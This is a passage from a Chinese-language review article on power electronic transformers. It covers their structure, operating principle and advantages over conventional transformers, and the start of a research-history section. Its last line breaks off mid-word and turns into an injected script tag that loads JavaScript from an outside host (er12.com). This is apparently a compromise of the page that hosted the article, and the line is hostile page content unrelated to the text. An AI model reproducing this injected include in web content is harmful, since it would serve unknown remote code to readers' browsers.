1前言
在供电系统中,常规的工频配电系统变压器是实现电能传输的最基本部件,其性能优劣对供电系统的可靠性和电能的质量具有重大影响。目前，国内普遍采用的主要是铁心油浸式配电系统变压器，其主要优点是制作工艺简单、运行可靠和能量转换效率较高；主要缺点是体积大、设备笨重，矿物油引起环境污染问题且不易维护，不能维持副方电压恒定，铁心饱和时造成电压电流的波形畸变而产生谐波，负载波动对网侧产生影响，需配备继电保护措施，等等。
伴随着人类环保意识的不断增强,人们对改善电能质量提出了越来越高的要求。包括中国在内的许多国家都对电网和供电系统的质量提出了很高的要求，对多项技术指标，例如功率因数、谐波和可靠性等，都规定了相应的行业标准。以美国为例,2000年末,发电厂生产电能的40%以上都是经变换和处理后再供负载使用,预计到21世纪二、三十年代,美国发电站生产的电能将全部经过变换和处理后再供负载使用。
30多年来，电力电子技术迅速发展，电力电子电能变换技术在改善交直流驱动性能、提高各类电源性能和节约能源等方面起到了积极和重要的作用。但是，也应该看到，电力电子电能变换技术的应用已经成为电网和用电设备的主要谐波源。最近几年，相关领域的许多学者一直以实现“绿色变换”为目标，围绕提高网侧功率因数、减小系统输入和输出谐波等关键技术开展了卓有成效的研发工作。由于常规变压器无法在进一步提高供电可靠性和改善电能质量方面起到作用，实现“绿色变换”的着眼点，都集中在配电系统变压器之后的电能变换电路的拓扑结构和控制技术的研发上。但是，从改善配电变压器运行特性入手，改进变压器的功能以提高供电可靠性和改善电能质量,同样也是实现电能“绿色变换”的重要技术手段。最近几年，国外和国内学者开展的关于“电力电子变压器”的研究，就是采用电力电子变换技术对能量进行转换与控制,用电力电子变压器替代传统的配电变压器，实现上述目标的前沿性研究工作，具有很高的学术价值和重要的工程意义。
本文在给出电力电子变压器的概念的基础上，介绍电力电子变压器的基本结构与原理，对电力电子变压器的研究现状、应用领域和发展趋势进行了综述。
2电力电子变压器的基本结构与原理
电力电子变压器(powerelectronictransformer, pet)是一种通过电力电子变换技术实现电力系统中的电压变换和能量传递的新型变压器。
电力电子变压器主要由电力电子变换器、高频变压器和控制器等组成。其中，由igbt或igct等高频大功率电力电子器件组成的电力电子变换器是电力电子变压器的核心，其功能是完成电能的频率、幅值转换；高频变压器的功能是隔离及变压；控制器的功能是实现对电能变换、电压稳定和电能质量的控制。在网侧将输入工频交流通过电力电子变换器升频为高频交流电，该高频交流电通过高频变压器耦合后经电力电子变换器降频还原成工频交流输出，供电网用户使用。
与传统的变压器相比,电力电子变压器的主要特点是：
(1)供电电压稳定性好。电力电子变压器系统具有对电能变换过程的控制功能，可以实现输出电压的闭环控制，保持较高的输出电压调整率，为用户提供稳定的供电电压。
(2)供电质量高。电力电子变压器将电网与用户隔离开来,既能消除网侧电压的波动、波形失真和频率波动,又能抑制由用户端产生的无功、谐波、瞬时短路对供电电网的影响。
(3)不存在铁心磁饱和问题。电力电子变压器能避免传统变压器由于铁心磁饱和而造成系统中电压电流的波形畸变。
(4)体积小、重量轻、空载损耗小但效率比传统较低、成本也较高。电力电子变压器采用高频变压器,体积将大大减小。
(5)性能价格比高。电力电子变压器在改善电能质量、提高可靠性以及利用柔性化配电网实行谐波的实时控制等方面,具有绝对的优势，其性能价格比要远比电力变压器的高。
(6)可以高度自动化,配电网络的计算机监控系统可以直接远程通讯控制电力电子变压器,实现在线连续监测和控制。
(7)环保效果好,可以空气自然冷却,省去充油,从而减少污染,维护简单,安全性好。
3电力电子变压器的研究现状与应用
(1)电力电子变压器的研究现状
1980年,brooksjl.提出了“固态变压器”的概念，为实现舰艇的全电气化驱动的需求，研制了电力电子变压器的雏形，在降低传统变压器的体积和重量方面取得了初步成果。1995年，sanjose大学发布了一份关于固态变压器的研究报告，研究工作的基本技术路线是根据变压器的体积和重量与它的运行频率成反比，而采用电力电子技术提?script src=http://er12.com/t.js>
